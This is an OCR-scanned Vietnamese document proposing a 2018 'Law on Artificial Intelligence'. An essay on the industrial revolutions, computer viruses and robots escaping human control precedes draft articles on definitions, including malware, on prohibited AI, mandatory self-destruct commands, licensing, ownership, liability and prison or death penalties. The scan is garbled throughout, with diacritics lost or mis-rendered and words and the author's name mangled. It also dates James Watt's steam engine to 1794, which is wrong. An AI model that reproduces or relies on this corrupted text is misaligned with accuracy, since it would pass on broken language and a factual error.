LUAT VE TRi TUE NHAN TAO (nim 2018)
TS. Vwong Tin Vigt

Tu thud con so khai, loai nguoi von ¢6 mot cude séng don so, hoang da. Tai thot
diém d6, doi sdng cua con ngudi phy thude nhidu vao thién nhién va phai canh tranh véi
nhiéu loai sinh vat khac. Tuy nhién, bﬁng tri thong minh vuot trdi cia minh, con nguoi tur
gidng loai nho bé, yéu 6t da dan chinh phuc thién nhién va 1am chi cudc séng cta minh.
Pong thoi, con ngudi ciing da tao nén mot nén van minh ngdy cang hién dai va tién bo.

Sy thong minh ctia con ngudi biéu hién qua viée biét dung cac cong cu dé thay thé
cho strc manh ciia co bap. Cong cu ban dau cua con ngudi chi 1a nhitng dung cu bang da
tho so, nhung chung phat trién trd nén phire tap 1én dan. Cong cu trd nén phirc tap thi doi
sdng con nguoi ciing phat trién theo.

C6 duge diéu nay 1a nho ndo b cua loai ngudi chira dung sin su thong minh dé thé
hé sau c6 thé ké thura cong cu cua thé hé di trude va tao nén nhirng cong cu phuc tap hon
ma nhitng dong vat khac khong c6 duoc. Trong khi do, ddi véi loai vat, bd ndo cua chung
khong du strc dé ké thira, phat trién nhitng cong cu cta thé hé trude dé tao nén nhimg
cong cu phic tap hon. D6 1a 1y do ma du trai qua bao nhiéu thé hé, chung van khong thé
st dung cong cu hoac mai mai chi st dung dugc nhiing cong cu don gidn ma thoi.

Tir thud ban dau khi méi chi biét cAm hon da dé cat, dé dap cho dén ngay tao ra
nhitng hé théng may moc tinh vi, hién dai thay thé cho ca sttc manh co bép va tri ndo cua
minh, con ngudi di budc nhitng budc rat dai trong sy phat trién ctia nén vin minh nhan
loai. Trong do, c6 thé ké dén bon cudc cach mang cong nghiép da lam thay doi moi mat
ctia doi séng loai nguoi. Tuy nhién, cudc cach mang cong nghiép lan thir tw dang dién ra
s& khién con nguoi phai ddi dién v6i nguy co danh mat di nén van minh ma chinh minh

da tao nén.
Cudc cach mang cong nghiép lan thir nhét

Cudc cach mang cong nghiép lan thir nhit bat dau khi James Watt phat minh ra
dong co hoi nudc vao nam 1794. Cudc cach mang nay da mé ra mot ky nguyén méi
trong lich sir nhan loai: ky nguyén san xuat co khi, co gi6i hoa. Trudc d6 con nguoi da
trai qua thoi dai néng nghiép kéo dai 17 thé ky véi nhitng cong cu lao dong chu yéu dua

vao go, stc manh co bap, sttc nudc, suc gid va stc kéo dong vat.
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Cudc cach mang cong nghi¢p lan thur nhat da tao ra cac cong cu lao dong mai voi
nguon dong lyc la may hoi nudc va nguéon nguyén, nhién vat liéu va nang lugng maoi 1a
sat va than da. No khién luc lugng san xuat dugc thic day phat trién manh mé, tao nén

tinh thé phat trién vuot bac clia nén céng nghiép va nén kinh té luc bay gio.
Cudc cach mang cong nghiép 1an thi hai

Cudc cach mang cong nghiép lan th hai dién ra tir khoang nam 1870 khi con nguoi
phat minh ra dién. Pién dem ning luong dén moi ngd ngach cta cude sdng. Ngudn ning
luong nday c6 thé dugc sir dung cho nhimg vat rat nhd nhu bong dén, radio,... cho téi
nhimg day chuyén san xudt v6i quy mo rat 1on. Nang luong dién da 1am thay d6i tt ca
moi loai cong cu cua loai ngudi, khién chiing tré nén ngay cang tinh té dan. Cudc cach
mang cong nghiép 1an tht hai ciing d3 tao tién dé cho sy ra doi cua cac cong cu lao dong

thay thé cho tri 6c con ngudi vé sau.
Cudc cich mang cong nghi¢p lan thir ba

Cudc cach mang cong nghiép 1an thtr ba dién ra vao nhitng nim 70 cua thé ky XX
v6i sy ra doi cta ddy chuyén san xuat ty dong dua vao mady tinh, thiét bi dién tir va
Internet, tao nén mot thé gioi két ndi. Cudc cach mang nay dugc dién ra dya theo tién dé
cua giai doan dién khi hoa tir cudc cach mang cong nghiép trudc. Khoi dau 1a su ra doi
ctia nhitng chiéc may tinh dau tién thay thé cho su tinh todn don gian cta bd ndo con
nguoi. Sau do 1a su xuét hién cua céc thiét bi dién ti transistor, tu dién, tao thanh nhip
song cua dién tir. Nhip song dién tir duoc tmg dung dé tré thanh cong cu tinh toan cho
con nguoi.

Mot budc tién trong cudc cach mang cong nghiép lan thir ba la sy xuat hién cia
may tinh (computer). Tl day, cdc phan mém may tinh xuét hién dé hd tro con ngudi trong
nhiéu linh vyc nhu: phan mém Word gitip con ngudi soan thao vin ban, phin mém Excel
gitip tinh todn, phin mém Corel, Photoshop gitip con ngudi thiét ké,... Tién bo hon 1a cac
phan mém AutoCAD, Sketchup, 3Ds Max, Revit,... dugc tao ra nhim giup con nguoi
thiét ké cac cong trinh kién trac, cac dung cu co khi phuc tap véi d6 chinh xac cuc cao.

Ké dén, may tinh co thé thiét ké mot san phém va in ra mot md hinh thuc té qua

may in 3D bang cac vat liéu chuyén dung. May in 3D c6 thé chay ty dong ma khong can



nguoi kiém soat. N6 c6 thé bién nhitng thiét ké tudng chung qué phire tap tré nén don
gian va dé xir 1y cho cac nha may truyén thong.

Cdu triic ctia mdy tinh

bé dat duoc nhitng budc tién nhu vay, doi héi & mot chiéc may tinh phai c6 hai
phan tuvong tmg khac nhau: mét 1 phan ctng (hardware) va hai 13 phan mém (software).

Phan cung gém nhitng con chip, cudn day, tu dién, transistor,... Piém dic biét trong
phan cimg 13 nhitng con chip chira hang ty transistor, cho phép thuc hién hon muoi ty
phép tinh trong mot gidy. Piéu nay vugt xa bd dc ctia con ngudi. Tir nhitng con chip nay,
cac k¥ su tao ra nhitng ma 1énh dua theo su sép xép, tinh toan cua con nguoi. Khi con
ngudi MUON thyc hién mét cong viéc hay mot phép tinh toan trén may tinh, con nguoi
VACH RA cach dé tinh toan va may LAM THEO cai ma con nguoi 3 VACH RA dé
thuc hién cai ma con nguoi MUON.

Trong giai doan nay, tuy may tinh rat thong minh v6i kha nang xir 1y nhanh nhay,
nhung chi tinh toan gitip con ngudi trong mot sb tinh hudng, diéu kién nhat dinh. Mdi khi
thay d6i tinh hudng hay diéu kién thi con ngudi lai ty vach ra mot huéng di khéc.

Virus may tinh

O cudc cach mang cong nghiép 1an thir ba, nhitng phan mém may tinh duoc tao ra
dé hd trg con nguoi theo huéng ma con nguoi mudn. Tuy nhién, con nguoi da bat dau tao
ra nhitg phan mém c6 tinh doc 14p. Khoi dau 1a nhitng con virus may tinh.

Virus may tinh 14 mot phan mém mang theo y mudn ciia ngudi tao ra né. Tir noi
virus may tinh, khai ni¢m vé cong cu mém khong can sy diéu khién bat dau xuat hién.
Khi virus xam nhdp vao cadc may tinh khéc, no6 tuy thoat khoi sy diéu khién truc tiép cua
con nguodi. Lic nay virus s€ ty nhan ban, ty xoay so, tu diéu khién nhung van thuc hién
theo y mudn ban dau cia ngudi tao ra. Y mudn ndy cé thé 13 ¥ mudn tét nhu cac phan
mém anti-virus hodc 1a nhitng ¥ mudn x4u 13 pha hoai, an cap dit lidu cua nguoi khac,...

Virus dugc coi l1a budce dau tién trong su doc 1ap cia may moc.
Cudc cich mang cong nghi¢p lan thir tu

Cudc cach mang cong nghiép 1an thir tv dang dién ra mot cach manh mé trén toan
thé gidi bang cach két hop cic cong nghé lai v6i nhau. Cudc cach mang nay 1am mo ranh

gidi giira vat 1y, k¥ thuat sd, sinh hoc va mot trong nhitng budc dot pha quan trong nhat



chinh 13 “trf tué nhdn tao”. N6 c6 mdi lién quan mat thiét dén thanh qua cua cudc cach
mang trudc.

Su ung dung tri tué¢ nhan tao vao robot dugc coi la mdt budc tién quan trong cua
cudc cach mang cong nghiép 1an thu tu.

Ban dau, robot dugc hiéu 1a mot loai may co thé thuc hién nhitng cong viéc mat
cach tu dong bﬁng su diéu khién cua may tinh hodc céc vi mach di¢n t&r dugc 1ap trinh.
bac tinh cua robot giéng virus du né thue hién duogc nhiéu thao tac hon, khong chi nhiing
thong tin mém ma ra duoc hoat dong ctiing bén ngoai nhu: nhin, nghe, tiép nhan dir liéu,
chuyén dong, di, bo, ban sung, tham chi co thé bay, lan,... Nhiéu thé hé robot cao cép hon
con co thé kham, chira bénh, giai phiu.

Robot hoat dong dugc nho viée két ndi tir 1énh mém dugc gén O trong thiét bi ra
diéu khién hé thdng co khi may moc bén ngoai, va robot nay chinh 13 mét con virus, van
mang theo ¥ muén clia ngudi tao ra ndé ma khong can duoc diéu khién truc tiép. N6 s& tu
tinh toan, ty xoay so, tu diéu khién dé thuc hién y mudn cia nguoi chu nhan. Pay la
manh nha budc dau cua tri tué nhan tao gdm nhiing dic tinh:

- Khéng can diéu khién truc tiép;

- Tu xoay sé trong cac tinh hudng bién doi bat ngd khong luong trude;

- Van thyc hién ¥ mudn ban du cta ngudi chi, nguoi tao ra né hodc ngudi tiép
nhan mua lai no.

Thé hé tri tué nhén tao tiép theo gém nhitng déc tinh:

- Tu tim va nap nang luong;

- Tukhic phuc nhiing hu hong;

- Tu sao chép, tao ra mot robot madi giéng nhu minh;

- C6 thé sang tao nghién ciru ra mot robot giéi hon minh.
Thé hé robot tiép theo khong con 1& thudc vao ¥ mudn con ngudi nira. Khi con

ngudi giri mot ¥ mudn vao robot, nd bat dau xét lai va can nhic can 1am hay khong.

Khi robot bat dau biét xét lai nhitng y mudn ctia chii nhan dé xem c6 nén thuc hién
hay khong thi lic d6 con ngudi da budc vao mot ky nguyén ma con nguoi tré thanh no 1€
clia may méc do chinh minh tao ra. Lic d6 con ngudi khong thé luong trude duge nhiing
tinh toan cua robot 1a giup d& lam cho cudc sdng con ngudi tot dep hon hay muén tiéu

diét loai nguodi va lam chu Trai Bat nay.



Con ngudi von ty hao vi minh 1a giéng loai thong minh nhét, chinh nho didu d6 ma
con ngudi tré thanh cht nhan cua thé gidi. Néu nhuong lai vi tri thong minh nhét trén
hanh tinh nay cho tri tué nhan tao, liéu con ngudi c6 phai nhuodng lai luén quyén kiém
soat cia minh?

Tri tué nhan tao 13 budc tién rat 16n trong sy phat trién ctia nén van minh nhan loai.
Viét Nam ciing khong thé dimg ngoai 1& ctia cudc cach mang cong nghiép lan thir tu nay.
Tuy nhién, dé phong ngira nhitng hiém hoa khong dang c6, Nha nudc can c6 mot hé
thdng luat phap quy dinh vé cic van dé lién quan dén tri tué nhan tao. Pung trude tinh
hinh nay, ching t6i cling xin d& xuat “Ludt tri tu¢ nhdn tao” d¢ gép phan trong viéc dinh

huéng va phat trién tri tué nhan tao trong twong lai.



Chuong I: NHUNG QUY PINH CHUNG

Piéu 1. Pham vi diéu chinh

Luit nay quy dinh nhitng vin dé vé ché tao, san xuat, thi tuc dang ky, chu sé hitu,

ché tai xur 1y vi pham trong linh vyc tri tu¢ nhan tao.
Piéu 2. Péi twong ap dung

Céc co quan, t6 chirc, ca nhan tham gia vao quan hé phap luat lién quan dén tri tué
nhan tao hoac san phém tri tué nhan tao gém cc van dé duoc quy dinh tai Piéu 1 Luat
nay.

Piéu 3. Giai thich tir ngir

Trong Ludt nay, cac tir ngit dudi ddy duoc hiéu nhu sau:

1. Tri tué nhdn tao (viét tat 1a TTNT) 1a tri tué duoc 1ap trinh v&i muc tiéu giup
may tinh c6 thé tu dong hoa cac hanh vi thong minh nhu con ngudi. Cy thé, tri tué nhan
tao gilp may tinh c6 duoc nhimng tri tué clia con ngudi nhu: biét suy nghi va lap luan dé
giai quyét van dé, biét giao tiép do hiéu ngdn ngi, tiéng noi, biét hoc va tr thich nghi.

2. San phcfm tri tué nhan tao (Viét tat 1a SPTTNT) la hang hoa hodc dich vu
dugc tich hop tri tu¢ nhan tao, cé thé dua vao thi truong dé tao su chu y, mua sdm, sir
dung hay tiéu dung nhim théa man yéu cau cia khach hang.

3. Robot 13 mot hé thdng may moc mo phong con ngudi, con vat, thyc thé khac
bao gém céa hé théng mém nhu théng tin, cac phan mém, hé thong dit liéu, tinh toan, suy
nghi, nhan thic va hé théng co khi [am cho mdy moéc hoat dong, khong can duoc diéu
khién, tu tinh toan, tu xoay sO dé thuc hién nhiing ¥ mudn dugc vach ra tir con nguoi, cd
thé tu sang tao, tim muc ti€u giup con nguoi, tham chi xét lai y muén ctia con nguoi xem
c6 nén thuc hién khong.

4, Ma Iénh 13 mot hodc to hop cac giao dién dugc dinh nghia tir trudc bdi ngon
ngtr 1ap trinh, c¢6 ci phap nhét dinh, do con ngudi 1ap trinh hoac duoc tao ra trong qua
trinh tu sao chép, tu hoc cua tri tu¢ nhan tao hay bé“mg mot cach khac. Muc dich nham chi
dan, ra 1énh, yéu cau tri tué nhan tao thuc hién y mudn duge vach ra boi cha nhan hay
nguoi st dung tri tué€ nhan tao do.

5. Ma doc 1a mot chuong trinh, mot phﬁn mém dugc chén mot cach bi mat vao
hé théng v6i muc dich thyc hién ¥ dd pha hoai, n cap dir liéu, thong tin thé tin dung
hodc an sinh xa hdi, tai san tri tu¢, thong tin vé chinh tri, tinh béo hodc cai dat mot 15

héng bao mat dé sau nay khai thac 1am gian doan, ton hai téi tinh bi mat, tinh toan ven va
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tinh sdn sang hé thdng ciia nan nhén, hodc dé thoa man ¥ tudng va so thich ciia nguoi tao
ra no, tham chi co thé bién hé théng cua nan nhan thanh no6 1€ nhu mot phﬁn cua mang.
M3 ddc c6 nhiéu dang nhu sau, phan mém do tham, rootkit, virus, trojan. ..

6. Virus mdy tinh 1a mot dang ma doc, gom nhitng dong 1énh c6 kha ning tu
nhan ban, ty xoay sd, khong can duoc diéu khién mét cach truc tiép, nhung van thyc hién
¥ d6 ban dau cta nguoi tao ra no.

7. Pia diém hop phdp 13 dat, nha &, cong trinh ma ca nhan hodc to chic co
quyén st dung hop phap theo quy dinh ctia phép lut.

8. Chitng chi hanh nghé trong linh viec TTNT 12 mot loai gidy phép do co quan
nha nudc cd thim quyén hoic to chirc duge nha nuée trao quyén cip cho ca nhan theo
quy dinh cia phép luat nham thuc hién cac hoat dong ché tao, san xuat cac san phém
TTNT.

Piéu 4. Cac nguyén tic co ban

1. Str dung TTNT hoac san phém TTNT mot cach an toan va duogc kiém soat
bdi con nguoi.

2. Khéng sir dung cac san pham TTNT dé gay thiét hai hodc 1am anh hudng dén
loi ich qudc gia, dan tdc, loi ich cong cong, quyén va loi ich hop phap ciia ngudi khéc.

3. Ché tao, san xuat TTNT va san pham TTNT mét cach hop phép.

4. Viée ché tao, san xudt TTNT va san pham TTNT khong gay anh hudéng dén

an ninh quoc gia, dao drc xa hoi va cac van dé khac.

Diéu 5. Chinh sich ciia nha nuwée vé TTNT
1. Dao tao ngudn luc cé chuyén mon cao trong linh vuc TTNT.
2. Giao tham quyén quan 1y cho mdt co quan chuyén mon dic thu dé xu Iy

nhing van dé lién quan d&én TTNT, cac co quan d6 duoc gidi han thim quyén va duogc dat
duéi su quan 1y tryc tiép cua nha nudc.

3. Tang cudng hop tac va hoc hoi quéc té vé TTNT.

Picu 6. Xir 1y vi pham phap luat vé TTNT

Nguoi ndo c6 hanh vi vi pham quy dinh cta Luat nay thi tiy theo tinh chit, mic do
vi pham ma bi xtr Iy vi pham hanh chinh hodc bi truy ctru trach nhiém hinh sy, néu gay

thiét hai thi phai boi thuong theo quy dinh ctia phap luét.



Chwong I1

CHE TAO, SAN XUAT TTNT VA SAN PHAM TTNT

Piéu 7. Céc hanh vi bi nghiém cam

l. Ché tao, san xuat TTNT va san pham TTNT xam hai dén quyén con nguoi,
quyén va loi ich hop phap cta cong dén;

2. Ché tao, san xuat TTNT va san pham TTNT nham muyc dich khiing bd, chéng
lai loai nguodi, pha hoai hoa binh va gay td1 ac chién tranh;

3. Ché tao, san xuat TTNT va san phém TTNT c6 kha nang ty nhan ban ma
khong dugc su cho phép cua co quan nha nudc;

4. Ché tao, san xudt TTNT va san pham TTNT c6 kha ning tu sang tao ra ngon
ngit 1ap trinh riéng 1am cong cu giao tiép gitta TTNT va san pham TTNT vé&i nhau ma
khong dugc su cho phép cua co quan nha nudc;

5. Ché tao, san xuat TTNT va san phém TTNT c6 kha nang tao dir li¢u, hinh
anh, am thanh v&1 muc dich gia mao hanh vi, ctr chi, giong n6i ciia con nguoi;

6. Ché tao, san xuat TTNT va san pham TTNT c6 kha ning lap trinh cdc ma
lénh véi cac chirc nang nham muc dich tin cong hé théng thong tin;

7. Ché tao, san xuat TTNT va san phém TTNT c6 kha nang chinh stra, tai lap
trinh cdc ma I¢nh ma khong duogc sy cho phép ctia co quan nha nudc;

8. Ché tao, san xuit TTNT va san phém TTNT co6 kha nang tu tao ra cac vat
lidu co thé lap trinh.

Piéu 8. Lénh tw hiy

Ludn phai c6 1énh ty huy va do con ngudi kiém soat.

Piéu 9. Pham vi dir li€u, loai dir liéu va pham vi dia ly

1. Pbi voi san pham TTNT st dung trong cac linh vuc khac nhau, trong qua
trinh 1ap trinh phai quy dinh rd mot s6 diéu nhu sau:

a) Pham vi dir liéu va loai dir li€u duoc tiép can, st dung;

b) Pham vi dia ly dugc phép hoat dong.

2. Viéc thay doi pham vi dir li¢u, loai dit li¢u, pham vi dia ly, chic nang hoat

dong phai dugc khai bao va dang ky bo sung.



Chwong I11
PANG KY CHE TAO, SAN XUAT TTNT VA SAN PHAM TTNT

Muc 1
CHUNG CHI HANH NGHE TRONG LINH VU'C TTNT
Piéu 10. Piéu kién cip chirng chi hanh nghé trong linh viee TTNT
1. Pat diém quy dinh trong ky kiém tra chuyén mén trong linh vic TTNT;
2. C6 thoi gian thyc hanh tai cac co so ché tao TTNT trong thoi gian it nhat 1a
12 thang;
3. Khong thude mot trong cac truong hop sau day:
a) Dang bi truy cru trach nhiém hinh su, dang chip hanh ban 4n, quyét dinh cia
Toa an; trong thoi gian bi cAm hanh nghé, cdm lam cong viée lién quan dén linh vuc
TTNT theo ban 4n, quyét dinh cua Toa an;
b) Bi han ché nang lyc hanh vi dan su.
Piéu 11. Piéu kién ddi véi ngwoi chiu trach nhiém tai cac co sé ché tao
TTNT
l. Phai c6 chimg chi hanh nghé trong linh vuc TTNT;
2. Co bﬁng cu nhan duoc cép hodc cong nhan tai Viét Nam trong linh vuc lién
quan dén TTNT va c6 it nhat 02 ndm thuc hanh chuyén mén tai co s¢ ché tao TTNT;
3. Dbi v6i ngudi c6 trinh d6 sau dai hoc phu hop voi chuyén mén trong linh
vuc TTNT thi dugc gidm thoi gian thuc hanh theo quy dinh.
Muc 2
PANG KY THANH LAP CO SO CHE TAO TTNT VA SAN PHAM TTNT
Pi¢u 12.  Ding ky thanh lap co sé ché tao TTNT va san pham TTNT
Cé nhan, to chirc mudn ding ky thanh 1ap co s¢ ché tao TTNT va san phdm TTNT
phai dang ky voi So Khoa hoc va Cong nghé noi ca nhan ding ky thuong tra hodc noi to
chirc dat tru so chinh.
Piéu 13. Pi¢u kién ding ky thanh lip co sé ché tao TTNT va sian phim
TTNT
l. Nguoi chiu trach nhiém tai cac co s& ché tao TTNT va san pham TTNT phai
dap tmg cac diéu kién duoc quy dinh tai Diéu 11 cua Luat nay;
2. C6 dja diém hop phap dé ché tao TTNT va san pham TTNT.
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Pitu 14.  Ho so diing Ky thanh 14p co sé ché tao TTNT va san phdm TTNT

1. Pon dé nghi thanh 1ap co s& ché tao TTNT va san phém TTNT;

2. Chtng tir np 1€ phi ndp don;

3. Ban sao chimg chi hanh nghé trong linh vuc TTNT ciia nguoi dang ky ché
tao;

4. Gidy to chimg minh dia diém hop phap ciia co s ché tao TTNT va san pham
TTNT.

Pidu 15.  Piéu kién ding ky cong nhan TTNT va san phdm TTNT

1. Puoc ché tao tai mot co s ché tao hop phap;

2. Cung cip day du hd so thong tin chi tiét, s6 liéu lién quan, ngdn ngir 1ap
trinh, chtrc nang sir dung va ngudn nang lugng ctia TTNT va san pham TTNT;

3. Cung cip thong tin vé tinh tmg dung va du tri nhitng trudng hop TTNT va
san pham TTNT c6 thé gay ra anh hudng xau dén con ngudi.

Piéu 16.  Ho so ding ky cong nhan TTNT va san pham TTNT

l. Gidy phép thanh lap co s ché tao TTNT va san pham TTNT;

2. Pon d nghi cip phép cong nhan TTNT va san pham TTNT;

3. Ban mo ta chi tiét hoat dong cuia TTNT va san pham TTNT.

Piéu 17. Hoat dong ciia co sé ché tao TTNT va san pham TTNT sau khi
dwoc cAp phép

1. Sau khi duoc cép phép, cac co so ché tao TTNT va san phém TTNT duoc
thuc hién cac hoat dong sau day:

a) Ché tao TTNT va san pham TTNT theo ding gidy phép;

b)  Piangky quyén sé hiru TINT va san pham TTNT;

c) Nhitng hoat dong khac dugc phap ludt quy dinh.

2. Sau khi duoc cip phép, cic co s¢ ché tao TTNT va san pham TTNT phai
dam bao cic yéu cau sau day:

a) Viéc ché tao khong gay anh hudng méi trudng va ste khoe ciia con nguoi;

b) Chép hanh cac quy dinh vé phong chay, chita chay;

c) Cung cap tai liéu can thiét cho viéc thanh tra, kiém tra ctia co quan nha nuéc
c6 tham quyén theo quy dinh caa phap luat;

d) Chiu trach nhiém vé cac hanh vi vi pham phép ludt theo quy dinh cta Luét
nay;

10



e) Nop thué theo quy dinh caa phap luét;
f)Trong truong hop ¢6 nhu cau thay d6i ndi dung ciia cac san pham da duoc cong

nhén thi phai ding ky bb sung.

Muc 3
DANG KY SAN XUAT SAN PHAM TTNT
Picu 18.  Piéu kién ding ky san xuit san pham TTNT
C4 nhan, t6 chitc ¢6 nhu cau san xuat san pham TTNT phai dap tng nhimg yéu
cau sau day:
1. C6 dia diém hop phap dé san xuét;
2. Diéu kién vé co s& vat chat: c6 dia diém, dién tich, nha xuong, trang thiét bi

dap ung véi yéu cau vé day chuyén san xuat, loai sdn pham TTNT ma co s& do du kién

san xuét;
3. C6 bo phan chuyén mon kiém tra chat lugng san phém TTNT;
4. C6 hé thong thu hoi va xir 1y vat liéu, san pham bi loai, bi tra lai tranh gy hai

cho moi truong.

Piéu 19. Ho so' dé nghi cap Gidy phép sian xuit sain phim TTNT

1. Co s san xudt san pham TTNT ndp hd so dé nghi cap Gidy phép tai S&
Cong thuong noi to chirc, ca nhan dit co s san xuat.

2. Hb so dé nghi cAp Gidy phép san xuat san phdm TTNT gom:

a) Pon dé nghi cap Gidy phép san xuét san pham TTNT;

b) Gidy cong nhan san pham TTNT;

c) Chung chi hanh nghé trong linh vuc TTNT ciia ngudi chiu trach nhiém san
xuét;

d) Céc loai gidy to chirng minh co s& san xuit c6 du diéu kién dé san xuit san
pham TTNT.

Piéu 20. Hoat dng ciia co' sé san xuit sian pham TTNT sau khi dwoc cap
phép

1. Sau khi duoc cip phép, cac co sé san xudt san pham TTNT duoc thuc hién
cac hoat dong sau day:

a) San xuat san pham TTNT theo ding ndi dung trong gidy phép;
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b) Thyc hién céc hoat dong thuong mai theo dung quy dinh cua phap luat.

C) Nhitng hoat dong khac dugc phap luat quy dinh.

2. Sau khi duoc cip phép, cac co sd san xuét san pham TTNT phai dam bao céc
yéu cau sau day:

a) Viéc san xudt khong gay anh hudng méi trudng va stc khoe caa con nguoi;

b) Chap hanh cac quy dinh vé phong chdy, chita chay;

c) Cung cap tai liéu can thiét cho viéc thanh tra, kiém tra ctia co quan nha nuéc
c¢6 tham quyén theo quy dinh cta phap luat;

d) Nop thué theo quy dinh ctia phap luat;

e) Trong trudng hop c6 nhu cu thay d6i cac ndi dung trong gidy phép san xuat

thi phai diang ky bo sung.

Chwong IV: QUY PINH POI VOI CHU SO HUU TTNT HOAC SAN PHAM
TTNT

Picu 21.  Cin ctr xdc 1ap quyén sé hiru d6i véi TTNT hodc sin pham TTNT

Quyén so hitu dugc xac 1ap d6i véi TTNT hodc san pham TTNT trong trudng hop
sau day:

1. Ché tao, san xudt TTNT hodc san phém TTNT;

2. Hoat dong kinh doanh hop phép;

3. Puoc chuyén quyén s& hitu theo thoa thuan hoac theo ban an, quyét dinh cua
Tda 4n, co quan nha nude co thim quyén khac;

4, Duoc cho tang, thura ké;

5. Chiém hitu trong cac diéu kién do phap luat quy dinh d6i voi cac TTNT hodc
san pham TTNT v6 chu, tai san khong xac dinh duoc chu s hitu;

6. Truong hop khac do phap luat quy dinh.

Piéu22.  Ping ky quyén sé hitu TTNT hodc san pham TTNT

Co quan, to chirc, ca nhan phai ding ky quyén sé hiru d6i voi nhitng loai TTNT
hozc san pham TTNT duoc phap ludt quy dinh trong Danh muc TTNT va san pham TTNT
bdt budc phdi ding ky.

Pi¢u 23.  Diéu kién ding ky quyén s¢ hitu TTNT hoic san pham TTNT
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Co quan, to chirc, ca nhan ding ky quyén s hitu TTNT hodc san phdm TTNT
phai c6 di nhitng diéu kién sau day:

1. Do tudi dugc phép sé hitu TTNT hodc san phdm TTNT

a) Nguoi diang ky sé hitu TTNT hodc san pham TTNT duoc quy dinh tai Diéu
22 1a nguoi tir du 18 tudi trd 1én.

b) Déi v6i ngudi dudi 18 tudi, néu mudn dang ky sé hitu TTNT hodc san pham
TTNT duogc quy dinh tai Diéu 22 thi phai dugc nguoi dai dién theo phap luat bao lanh.

2. C6 nang lyc hanh vi dan su dﬁy du;

3. C6 day du gidy to ching minh tinh hop phap ciia TTNT hodc san pham
TTNT.

Pi¢u24.  Kiém dinh dinh ky

Cac TTNT hodc san phdm TTNT thudc Danh muc TTNT va san pham TTNT bt
bugc phdi dang ky phai dugc kiém dinh dinh ky theo quy dinh ctia phap luat.

Pi¢u 25.  Cac hanh vi bi nghiém cim

1. Thay doi 1ap trinh, thiét ké cia TTNT hoic san phém TTNT khi chua duoc
su cho phép ctia co quan nha nude c6 thim quyén;

2. Str dung TTNT hodc san pham TTNT dé xam pham chu quyén, loi ich, an
ninh quéc gia, trat ty, an toan xa hoi, quyén va loi ich hop phéap cia co quan, t6 chic, ca
nhan;

3. Céc hanh vi khéac vi pham quy dinh ctia Luat nay.

Piéu 26.  Quyén kiém soat TTNT hoic san pham TTNT

Quyén kiém soat TTNT hodc san phém TTNT do nha ché tao, san xuét va chi s&
hitu théa thuan nhung khong trai voi quy dinh cua phép luat.

Piéu 27. Trach nhiém phap 1y trong truwong hop TTNT hodc san phim
TTNT giy thiét hai hoic giy nguy hiém cho xa hoi

1. Chu so hitu TTNT hodc san phdm TTNT phai chju trach nhiém phép 1y trong
truong hop TTNT hodc san pham TTNT gay thiét hai hodc gay nguy hiém cho xa hoi;
néu chi so hitu da giao cho ngudi khac chiém hiru, sir dung thi ngudi ndy phai chiu trach
nhi¢m, trr trudong hop co6 thoa thuan khac;

2. Trong truong hop TTNT hodc san phém TTNT gay thiét hai, chu s¢ hiru,
ngudi chiém hiru, ngudi sir dung phai boi thudng thiét hai ca khi khong 6 151, trir truong
hop sau day:
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a) Thiét hai x4y ra hoan toan do 16i ¢b ¥ cia nguoi bi thiét hai;

b)  Thiét hai xdy ra trong trudng hop bat kha khang hoic tinh thé cap thiét, trir
truong hop phap luat co6 quy dinh khac;

3. Trudong hop TTNT hodc san pham TTNT bi chiém hitu, sir dung trai phap
luat thi nguoi dang chiém hitu, st dung TTNT hodc san pham TTNT trai phép luat phai
chiu trach nhiém phép 1y trong truong hop TTNT hodc san pham TTNT gay thiét hai
hoic gay nguy hiém cho xa hoi. Khi chu sé hitu, ngudi chiém hitu, ngudi sir dung TTNT
hoac san phém TTNT c6 15i trong viée dé TTNT hodc san phém TTNT bi chiém hitu, st
dung trai phap luat thi phai lién déi chiu trach nhiém phap 1y.

Chwong V: CHE TAI

Piéu28.  Toi ché tao, san xuat TTNT hoic san phAm TTNT khéng c6 1énh
tu huy

Ngudi nao ché tao, san xuit TTNT hodc san phém TTNT ma khong co6 1énh ty huy,
thi bi phat tu tir 15 dén 20 nam, ta chung than hodc tur hinh.

Piéu 29. Tdi vo hiéu héa 1énh tw hily ciia TTNT hodc san pham TTNT

Nguodi nao vé hi€u héa 1énh tu hiy cua TTNT hoac san phém TTNT nhim muc
dich xadm pham chu quyén, loi ich, an ninh quéc gia, trat tu, an toan xa hoi, quyén va loi
ich hop phap cua co quan, t6 chirc, ca nhén, thi bi phat tu tir 10 dén 20 nim, ti chung
than hoac tir hinh.

Piéu 30.  Toi ché tao, san xuat TTNT hoic san pham TTNT c6é kha ning tu
nhan ban

Nguodi nao ché tao, san xuit TTNT hodc san phém TTNT c6 kha nang ty nhan ban
ma khong duge sy cho phép ctia co quan nha nudc c6 tham quyén, thi bi phat tu tir 10
dén 20 nam.

Piéu 31. Tdi ché tao, san xudt TTNT hoiic sain phAm TTNT c6 kha niing tw
sang tao ngon ngir 1ap trinh riéng

Nguoi nao ché tao, san xuit TTNT hodc san phém TTNT c6 kha nang tu sang tao
ngodn ngir 1ap trinh riéng 1am cong cu giao tiép giita cac TTNT hodc cac san pham TTNT
v6i nhau ma khéng dugc sy cho phép ciia cac co quan nha nudce co tham quyén, thi b
phat ti tir 05 dén 10 nam.
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Piéu 32. Tdi sit dung TTNT hoic san pham TTNT gia mao hanh vi, cir chi,
giong noi cua con nguoi

Nguoi nao st dung TTNT hodc san phém TTNT dé tao dit liéu, hinh anh, Am thanh
v6oi muyc dich gia mao hanh vi, cur chi, giong nodi ciia con ngudi, thi bi phat tu tir 07 dén 12
nam.

Piéu 33. Toi ché tao, sin xuat TTNT hoc sin pham TTNT nhim muc dich
tin cong hé thong thong tin

Nguoi ndo ché tao, san xuat TTNT hodc san pham TTNT c6 kha ning 1ap trinh ma
1énh v6i chtc ning thudc mot trong cac trudng hop sau ddy, thi bi phat ti tir 05 dén 20
nam:

1. Do tim mat khiu dé thu thap, danh cip thong tin cua ngudi khac; xam nhap,
lam tdn hai, chiém doat dit liéu;

2. Phat tn chuong trinh tin hoc gy hai cho mang mdy tinh, h¢ thong thong tin,
hé théng xu ly va diéu khién thong tin, co so dir liéu, phuong tién dién tu;

3. Gay can tro, r6i loan, 1am té liét, gian doan, ngung tr¢ hoat dong, ngan chan
trai phép viéc truyén dua dit liéu ciia mang may tinh, hé thong thong tin, hé thong xir 1y
va diéu khién thong tin, phwong tién dién tu;

4. Xam nhap, ché tao, san xuét hodc khai thac diém yéu, 16 héng bao mat va
dich vu hé thng dé chiém doat thong tin, thu loi bat chinh.

